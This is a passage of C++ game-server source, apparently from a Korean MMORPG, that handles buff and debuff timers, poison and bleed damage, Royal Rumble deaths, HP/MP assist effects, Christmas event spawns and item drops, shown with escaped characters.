\uac78\uc5c8\uc744 \uacbd\uc6b0 \ucd08\ub2f9 \ub370\ubbf8\uc9c0 \uadf8\ub300\ub85c\uc784..\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_NPC:\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_PET:\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_ELEMENTAL:\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_APET:\n\t\t\t\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n#ifdef TLD_EVENT_SONG\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tint minusHp = nPowerValue;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (ch->m_type == MSG_CHAR_NPC)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tCNPC* pNpc = TO_NPC(ch);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (pNpc->m_proto->m_index == 1622 || pNpc->m_proto->m_index == 1623)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tminusHp = 1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -=  minusHp;\n#else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -=  nPowerValue;\n#endif\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif (ch->m_hp <= 0)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif(sp->m_index == ROYAL_RUMBLE_DEBUFF_SKILL)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp = 0;\n\t\t\t\t\t\t\t\t\t\t\t\tif(IS_PC(ch))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\tCPC* evoPC = NULL;\n\t\t\t\t\t\t\t\t\t\t\t\t\tevoPC = TO_PC(ch);\n\t\t\t\t\t\t\t\t\t\t\t\t\tif(evoPC)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(evoPC->m_evocationIndex != EVOCATION_NONE)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tevoPC->Unevocation();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t// \uac15\uc2e0 \uc2dc\uac04 \ucd08\uae30\ud654\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tevoPC->m_pulseEvocation[0] = 0;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tevoPC->m_pulseEvocation[1] = 0;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tGAMELOG << init(\"ROYAL RUMBLE DEAD PC\", TO_PC(ch)) << \"SKILL INDEX\" << delim << sp->m_index << end;\n\t\t\t\t\t\t\t\t\t\t\t\t\tCWaitPlayer* p = NULL;\n\t\t\t\t\t\t\t\t\t\t\t\t\tp = gserver->m_RoyalRumble.m_WaitPlayerList.GetNode(TO_PC(ch)->m_index);\n\t\t\t\t\t\t\t\t\t\t\t\t\tif(p)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tint leveltype = p->GetLevelType();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tint leftcount = 0;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tCWaitPlayer* player = NULL;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tCWaitPlayer* playern = NULL;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tplayern = gserver->m_RoyalRumble.m_WaitPlayerList.GetHead();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\twhile((player = playern))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tplayern = playern->GetNext();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif( player->GetLevelType() == leveltype &&\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tplayer->GetCheckIn() == true )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tleftcount++;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tleftcount -= 2;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tRoyalRumbleLeftCount(rmsg, leftcount);\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tCNetMsg::SP killmsg(new CNetMsg);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tRoyalRumbleKillPlayer(killmsg, TO_PC(ch), TO_PC(ch));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tswitch(leveltype)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcase LEVEL_TYPE_ROOKIE:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgserver->m_RoyalRumble.m_pRookieArea->SendToAllClient(rmsg);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgserver->m_RoyalRumble.m_pRookieArea->SendToAllClient(killmsg);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcase LEVEL_TYPE_SENIOR:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgserver->m_RoyalRumble.m_pSeniorArea->SendToAllClient(rmsg);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgserver->m_RoyalRumble.m_pSeniorArea->SendToAllClient(killmsg);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcase LEVEL_TYPE_MASTER:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgserver->m_RoyalRumble.m_pMasterArea->SendToAllClient(rmsg);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgserver->m_RoyalRumble.m_pMasterArea->SendToAllClient(killmsg);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tgserver->m_RoyalRumble.m_WaitPlayerList.DelNode(TO_PC(ch)->m_index);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp = 1;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tswitch (slp->m_magic[i]->m_subtype)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tcase MST_ASSIST_POISON:\n\t\t\t\t\t\t\t\t\t\t\t*changestate |= AST_POISON;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\tcase MST_ASSIST_BLOOD:\n\t\t\t\t\t\t\t\t\t\t\t*changestate |= AST_BLOOD;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\tcase MST_ASSIST_DISEASE:\n\t\t\t\t\t\t\t\t\t\t\t*changestate |= AST_DISEASE;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\tcase MST_ASSIST_CURSE:\n\t\t\t\t\t\t\t\t\t\t\t*changestate |= AST_CURSE;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\tcase MST_ASSIST_HP_DOT:\n\t\t\t\t\t\t\t\t\t\t\t*changestate |= AST_HP_DOT;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcase MST_ASSIST_POISON:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (ch->m_hp > 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -= (int)ch->m_maxHP * nPowerValue / SKILL_RATE_UNIT;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -=  nPowerValue;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (ch->m_hp <= 0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp = 1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*changestate |= AST_POISON;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcase MST_ASSIST_BLOOD:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (ch->m_hp > 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -= (int)ch->m_maxHP * nPowerValue / SKILL_RATE_UNIT;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -=  nPowerValue;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (ch->m_hp <= 0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp = 1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*changestate |= AST_BLOOD;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\tcase MST_ASSIST_HP:\n\t\t\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\t\t\tch->m_hp += (int)ch->m_maxHP * nPowerValue / SKILL_RATE_UNIT;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\tch->m_hp +=  nPowerValue;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (ch->m_hp > ch->m_maxHP)\n\t\t\t\t\t\t\t\t\tch->m_hp = ch->m_maxHP;\n\t\t\t\t\t\t\t\tif (ch->m_hp <= 0)\n\t\t\t\t\t\t\t\t\tch->m_hp = 1;\n\t\t\t\t\t\t\t\t*changestate |= AST_HP;\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase MST_ASSIST_MP:\n\t\t\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\t\t\tch->m_mp += (int)ch->m_maxMP * nPowerValue / SKILL_RATE_UNIT;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\tch->m_mp +=  nPowerValue;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (ch->m_mp > ch->m_maxMP)\n\t\t\t\t\t\t\t\t\tch->m_mp = ch->m_maxMP;\n\t\t\t\t\t\t\t\tif (ch->m_mp < 0)\n\t\t\t\t\t\t\t\t\tch->m_mp = 0;\n\t\t\t\t\t\t\t\t*changestate |= AST_MP;\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase MST_ASSIST_HP_CANCEL:\n\t\t\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\t\t\tch->m_hp += (int)ch->m_maxHP * nPowerValue / SKILL_RATE_UNIT;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\tch->m_hp +=  nPowerValue;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (ch->m_hp > ch->m_maxHP)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tch->m_hp = ch->m_maxHP;\n\t\t\t\t\t\t\t\t\tbCancel = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (ch->m_hp <= 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tch->m_hp = 1;\n\t\t\t\t\t\t\t\t\tbCancel = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t*changestate |= AST_HP_CANCEL;\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase MST_ASSIST_MP_CANCEL:\n\t\t\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\t\t\tch->m_mp += (int)ch->m_maxMP * nPowerValue / SKILL_RATE_UNIT;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\tch->m_mp +=  nPowerValue;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (ch->m_mp > ch->m_maxMP)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tch->m_mp = ch->m_maxMP;\n\t\t\t\t\t\t\t\t\tbCancel = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (ch->m_mp < 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tch->m_mp = 0;\n\t\t\t\t\t\t\t\t\tbCancel = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t*changestate |= AST_MP_CANCEL;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase MST_ASSIST_INVINCIBILITY:\n\t\t\t\t\t\t\t\tif ( IS_PC(ch) )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tCPC*  pPC =\t TO_PC(ch);\n\t\t\t\t\t\t\t\t\tpPC->SetPlayerState( PLAYER_STATE_INVINCIBILITY );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\ti++;\n\t\t}\n#ifdef ASSIST_DECREASE_TIME_BUG_FIX\n\t\tdata->m_remain -= ((gserver->getNowSecond() - data->m_prevtime) * 10);\n\t\tdata->m_prevtime = gserver->getNowSecond();\n#else\n\t\tdata->m_remain -= PULSE_ASSIST_CHECK;\n#endif\n\t\tif( IS_NPC(ch) && TO_NPC(ch)->GetOwner() &&\n\t\t\t\t( TO_NPC(ch)->Check_MobFlag(STATE_MONSTER_TOTEM_BUFF) || TO_NPC(ch)->Check_MobFlag(STATE_MONSTER_TOTEM_ATTK)) )\n\t\t{\n\t\t\tif( data->m_proto->Level(1)->m_magic[0] && data->m_proto->Level(1)->m_magic[0]->m_type == MT_ASSIST &&\n\t\t\t\t\t( data->m_proto->Level(1)->m_magic[0]->m_subtype == MST_ASSIST_SOUL_TOTEM_BUFF\n\t\t\t\t\t  || data->m_proto->Level(1)->m_magic[0]->m_subtype == MST_ASSIST_SOUL_TOTEM_ATTK ) )\n\t\t\t{\n\t\t\t\tch->m_hp = data->m_remain * ch->m_maxHP / data->m_proto->Level(1)->m_durtime ;\n\t\t\t\tif( ch->m_hp < 0 )\n\t\t\t\t\tch->m_hp = 0;\n\t\t\t}\n\t\t}\n\n\t\tif (data->m_remain <= 0 || bCancel\n\t\t\t\t|| (slp->m_useCount > 0 && data->m_remainCount <= 0)\n\t\t   )\n\t\t{\n\t\t\t// \uacbd\ud5d8\uce58 \ubd80\ud65c \uc219\ub828\ub3c4 \uc8fc\ubb38\uc11c\uc77c \uacbd\uc6b0 \ubc84\ud504\ub97c \uc0ad\uc81c\ud558\uc9c0 \uc54a\ub294\ub2e4.\n\t\t\tif( data->m_index == 844\n\t\t\t\t\t|| data->m_index == 845\n\t\t\t\t\t|| data->m_index == 846\t\t// \ubd80\ud65c \uc8fc\ubb38\uc11c\n\t\t\t\t\t|| data->m_index == 7056\t// \uc774\ubca4\ud2b8 \ubd80\ud65c \uc8fc\ubb38\uc11c\n\t\t\t\t\t|| data->m_index == 2667\t// \ucd08\ubcf4\uc790\uc6a9 \ubd80\ud65c \uc8fc\ubb38\uc11c\n\t\t\t\t\t|| data->m_index == 2371\n\t\t\t\t\t|| data->m_index == ONE_PERIOD_ITEM\n\t\t\t\t\t|| data->m_index == SEVEN_PERIOD_ITEM\n\t\t\t\t\t|| data->m_index == THIRTY_PERIOD_ITEM\n\t\t\t\t\t|| data->m_index == 2610\n\t\t\t\t\t|| data->m_index == 4940\n\t\t\t\t\t|| data->m_index == 4941\n\t\t\t\t\t|| data->m_index == 4942\n\t\t\t\t\t|| data->m_index == 3218\n\t\t\t  )\n\t\t\t{\n\t\t\t\tdata->m_remain = 0;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tint old_skillIndex;\n\t\t\t\t// \uc2dc\uac04\uc5d0 \uc758\ud55c \ud06c\ub9ac\uc2a4\ub9c8\uc2a4 \uc2a4\ud0ac \uc81c\uac70 ( SkillIndex : 490 )\n\t\t\t\t// NPC\ub97c \uc18c\ud658 \ud55c\ub2e4\n\t\t\t\told_skillIndex = data->m_proto->m_index;\n\t\t\t\tif( old_skillIndex == 490 )\n\t\t\t\t{\n\t\t\t\t\tif( gserver->isActiveEvent( A_EVENT_XMAS) )\n\t\t\t\t\t{\n\t\t\t\t\t\tif( !ch->m_pZone->IsPersonalDungeon() \n\t\t\t\t\t\t\t&& !(ch->GetMapAttr() & MATT_FREEPKZONE) && !(ch->GetMapAttr() & MATT_PEACE)\n\t\t\t\t\t\t\t&& !ch->m_pZone->IsGuildRoom() && !ch->m_pZone->IsOXQuizRoom() )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tCNPC* pBoxNpc = gserver->m_npcProtoList.Create( 483/*\ud06c\ub9ac\uc2a4\ub9c8\uc2a4 \uc120\ubb3c \uc0c1\uc790*/, NULL );\n\t\t\t\t\t\t\tif ( pBoxNpc )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tGET_X(pBoxNpc) = GET_X(ch) + (GetRandom(0, 1) ? -1 : 1) * GetRandom(20, 50) / 10.0f;\n\t\t\t\t\t\t\t\tGET_Z(pBoxNpc) = GET_Z(ch) + (GetRandom(0, 1) ? -1 : 1) * GetRandom(20, 50) / 10.0f;\n\t\t\t\t\t\t\t\tGET_YLAYER(pBoxNpc) = GET_YLAYER(ch);\n\t\t\t\t\t\t\t\tGET_R(pBoxNpc) = GetRandom(0, (int) (PI_2 * 10000)) / 10000;\n\n\t\t\t\t\t\t\t\tif (ch->m_pArea->GetAttr(GET_YLAYER(pBoxNpc), GET_X(pBoxNpc), GET_Z(pBoxNpc)) & MATT_WALKABLE )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tpBoxNpc->m_regenX = GET_X(pBoxNpc);\n\t\t\t\t\t\t\t\t\tpBoxNpc->m_regenY = GET_YLAYER(pBoxNpc);\n\t\t\t\t\t\t\t\t\tpBoxNpc->m_regenZ = GET_Z(pBoxNpc);\n\n\t\t\t\t\t\t\t\t\tpBoxNpc->m_regenTimeXmas2007 = gserver->m_pulse;\n\n\t\t\t\t\t\t\t\t\tint cx, cz;\n\t\t\t\t\t\t\t\t\tch->m_pArea->AddNPC(pBoxNpc);\n\t\t\t\t\t\t\t\t\tch->m_pArea->PointToCellNum(GET_X(pBoxNpc), GET_Z(pBoxNpc), &cx, &cz);\n\t\t\t\t\t\t\t\t\tch->m_pArea->CharToCell(pBoxNpc, GET_YLAYER(pBoxNpc), cx, cz);\n\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\t\t\t\t\t\t\t\tAppearMsg(rmsg, pBoxNpc, true);\n\t\t\t\t\t\t\t\t\t\tch->m_pArea->SendToCell(rmsg, GET_YLAYER(pBoxNpc), cx, cz);\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tGAMELOG << init(\" EVENT XMAS XMAS BOX REGEN \" ) << ch->m_name << end;\t// \uc2a4\ud0ac \uc801\uc6a9 \uc2e4\ud328\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\told_skillIndex = data->m_proto->m_index;\n\n\t\t\t\tif( old_skillIndex == 1060 )\t\t// \ucd9c\uc11d\ub300\uae30 \uc0ad\uc81c\uc2dc \ucd9c\uc11d \uccb4\ud06c subtype 2\n\t\t\t\t{\n\t\t\t\t\t//\ucd9c\uc11d\ubc84\ud504\uac00 \ub05d\ub0ac\ub2e4\uba74 \ucd9c\uc11d \uc778\uc815\ud574\uc8fc\uae30\n\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\tpc->m_attendanceManager.finish();\n\t\t\t\t}\n\n\t\t\t\tbool\tbInfinite = false;\n\t\t\t\tint\t\told_skillLevel = data->m_level;\n\t\t\t\tint\t\told_itemIndex = data->m_index;\n\n\t\t\t\tif( data->m_proto->m_flag & SF_INFINITE )\n\t\t\t\t{\n\t\t\t\t\tbInfinite = true;\n\t\t\t\t}\n\n\t\t\t\ti = 0;\n\t\t\t\twhile (i < MAX_SKILL_MAGIC )\n\t\t\t\t{\n\t\t\t\t\tif( !slp->m_magic[i] )\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tint nPowerValue = -1;\n\n\t\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\t\tif (mp)\n\t\t\t\t\t{\n\t\t\t\t\t\tmlp = mp->Level(slp->m_magicLevel[i]);\n\t\t\t\t\t\tif (mlp)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tnPowerValue = mlp->m_nPowerValue * CalcSkillParam(ch, ch, SPARAM_NONE, mp->m_ptp) / 100;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif( nPowerValue < 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( IS_PC(ch) && TO_PC(ch)->IsSetPlayerState(PLAYER_STATE_INVINCIBILITY))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tCPC*  pPC =\t TO_PC(ch);\n\t\t\t\t\t\t\tpPC->ResetPlayerState( PLAYER_STATE_INVINCIBILITY );\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(slp->m_magic[i]->m_type == MT_OTHER )\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch (slp->m_magic[i]->m_subtype )\n\t\t\t\t\t\t{\n\t\t\t\t\t\tcase MST_OTHER_ITEMDROP:\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif( GetRandom(0,10000) < mlp->m_nHitrateValue )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tCItem* pdropItem = gserver->m_itemProtoList.CreateItem( nPowerValue , -1, 0, 0, 1 );\n\t\t\t\t\t\t\t\t\tif( pdropItem && ch )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tpdropItem->m_pos = CPos(GET_X(ch), GET_Z(ch), ch->m_pos.m_h, GET_R(ch), GET_YLAYER(ch));\n\n\t\t\t\t\t\t\t\t\t\t// \uc88c\ud45c \ubcf4\uc815\n\t\t\t\t\t\t\t\t\t\tif (GET_X(pdropItem) < 0)\t\tGET_X(pdropItem) = 0;\n\t\t\t\t\t\t\t\t\t\tif (GET_Z(pdropItem) < 0)\t\tGET_Z(pdropItem) = 0;\n\t\t\t\t\t\t\t\t\t\t// 050207 - bs : \uce35\uc5d0 \uad00\uacc4\uc5c6\uc774 \uc0ac\uc774\uc988\ub294 0\ubc88 \uce35\uc5d0\uc11c \ucc38\uc870\n\t\t\t\t\t\t\t\t\t\tif (GET_X(pdropItem) >= ch->m_pArea->m_zone->m_attrMap[0].m_size[0])\n\t\t\t\t\t\t\t\t\t\t\tGET_X(pdropItem) = ch->m_pArea->m_zone->m_attrMap[0].m_size[0];\n\t\t\t\t\t\t\t\t\t\tif (GET_Z(pdropItem) >= ch->m_pArea->m_zone->m_attrMap[0].m_size[1])\n\t\t\t\t\t\t\t\t\t\t\tGET_Z(pdropItem) = ch->m_pArea->m_zone->m_attrMap[0].m_size[1];\n\n\t\t\t\t\t\t\t\t\t\t// \uc140\uc5d0 \ub123\uae30\n\t\t\t\t\t\t\t\t\t\tpdropItem->m_pArea = ch->m_pArea;\n\t\t\t\t\t\t\t\t\t\tpdropItem->m_groundPulse = gserver->m_pulse;\n\n\t\t\t\t\t\t\t\t\t\tint cx, cz;\n\t\t\t\t\t\t\t\t\t\tch->m_pArea->PointToCellNum(GET_X(pdropItem), GET_Z(pdropItem), &cx, &cz);\n\t\t\t\t\t\t\t\t\t\tch->m_pArea->ItemToCell(pdropItem, GET_YLAYER(pdropItem), cx, cz);\n\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\t\t\t\t\t\t\t\t\tItemDropMsg( rmsg, ch, pdropItem );\n\t\t\t\t\t\t\t\t\t\t\tpdropItem->m_pArea->SendToCell( rmsg, GET_YLAYER( pdropItem ), pdropItem->m_cellX, pdropItem->m_cellZ );\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase MST_OTHER_SKILL:\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tCSkill *pSkill = gserver->m_skillProtoList.Create( nPowerValue , mlp->m_nHitrateValue );\n\t\t\t\t\t\t\t\tif( pSkill )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tbool bApply = false ;\n\t\t\t\t\t\t\t\t\tApplySkill( ch, ch, pSkill, -1 , bApply );\n\t\t\t\t\t\t\t\t\tif(bApply == true)\n\t\t\t\t\t\t\t\t\t\treturn 